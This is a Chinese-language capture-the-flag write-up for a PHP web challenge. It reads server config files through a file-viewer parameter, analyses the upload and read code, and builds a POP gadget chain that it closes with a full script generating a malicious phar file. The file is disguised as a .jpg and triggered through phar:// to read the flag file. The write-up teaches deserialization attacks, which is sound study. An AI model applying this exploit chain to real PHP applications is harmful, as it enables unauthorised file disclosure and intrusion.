赛博杯 - Web3

phar反序列化

Kevin给的一道题
首先是一个上传界面,只能上传图片类型的文件
然后有一个浏览界面,/file.php?file=,疑似file参数中不带/都会被爆hacker!
尝试读取敏感文件

可以读取
依次读取/etc/init.d/apache2 /etc/apache2/ports.conf /etc/apache2/sites-enabled/000-default.conf找到网站根目录/var/www/005056364de1
题目环境:https://hikawa.ml/CTF/Web3.zip
首先分析一下他对我们上传的文件干了啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function upload_file_check() {  
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(!empty($extension)) {
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

只能上传这四种后缀的文件

1
2
3
4
5
6
7
8
9
10
11
12
function upload_file_do() {  
if(!file_exists("upload")){
mkdir("upload",0777);
}
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["HTTP_X_REAL_IP"]).".jpg";
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!文件保存在: upload/'.$filename.'");</script>';
}

重命名上传文件并保存在upload文件夹
看起来没什么问题,然后看看读文件的php

1
2
3
4
5
6
7
8
9
$file = $_GET["file"] ? $_GET['file'] : "";  
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}elseif(preg_match('/http|https|file:|gopher|dict|\.\/|\.\.|flag/i',$file)) {
die('hacker!');
}elseif(!preg_match('/\//i',$file))
{
die('hacker!');
}

file参数必须包含/且不能有f1ag看来利用点也不在这里
不过百度了一番这段关键代码之后发现了一道类似的
https://xz.aliyun.com/t/3656#toc-14

考点:phar反序列化

然后开始尝试构造poc链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php //class.php
class Show
{
public $source;
public $str;
public function __toString()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class S6ow
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->params[$key];
}
public function __call($name, $arguments)
{
if($this->{$name})
$this->{$this->{$name}}($arguments);
}
public function file_get()
{
echo $this->file;
}
}

class Sh0w
{
public $str;
public function __construct($name)
{
$this->str = new Show();
$this->str->source = $name;
}
public function __destruct()
{
$this->str->_show();
}
}

首先看到能输出结果的只有两个地方

1
2
3
4
5
6
7
8
9
10
11
12
13
class Show
{
public $source;
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Show
{
public $source;
public function __toString()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
}
class S6ow
{
public $file;
public function file_get()
{
echo $this->file;
}
}

由于第一个过滤了f1ag应该是不能用的考虑第二个
到这里已经知道可以

$Show->source = ‘/var/www/005056364de1/f1ag.php’
$S6ow->file = $Show

然后想办法调用file_get

参考 https://mp.weixin.qq.com/s/6w9cW4k1m9SjEHyfP_maSg

注意到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class S6ow
{
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->params[$key];
}
public function __call($name, $arguments)
{
if($this->{$name})
$this->{$this->{$name}}($arguments);
}
}

__call可以在调用类中不存在的函数时触发
__get可以在调用类中不存在的属性时触发
然后又有

1
2
3
4
5
6
7
8
class Sh0w
{
public $str;
public function __destruct()
{
$this->str->_show();
}
}

这里调用的_show是类S6ow没有的,所以可以构造poc链触发__call

$Sh0w->str = $S6ow

然后由于__call中使用了$this->{$name},即调用了一个不存在的属性,这样传进去会触发__get,正好可以利用来换_showfile_get

$S6ow->params = array(‘_show’=>’file_get’)

至此就和之前的poc链接在一起了,最后就是生成phar,完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class Show
{
public $source;
}
class S6ow
{
public $file;
public $params;
}

class Sh0w
{
public $str;
public $name;
}

$Sho = new Show();
$Sho->source = '/var/www/005056364de1/f1ag.php';

$S6o = new S6ow();
$S6o->file = $Sho;
$S6o->params = array('_show'=>'file_get');

$Sh0 = new Sh0w('233'); //这里是__construct的参数,没有用但是必须要有
$Sh0->str = $S6o;

$phar = new Phar('4k1Ra.phar');
$phar->startBuffering();
$phar->addFromString('233.jpg', '233'); //随便加点东西作为phar文件的内容
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($Sh0);
$phar->stopBuffering();

改成jpg后缀,上传后用phar://协议访问得到flag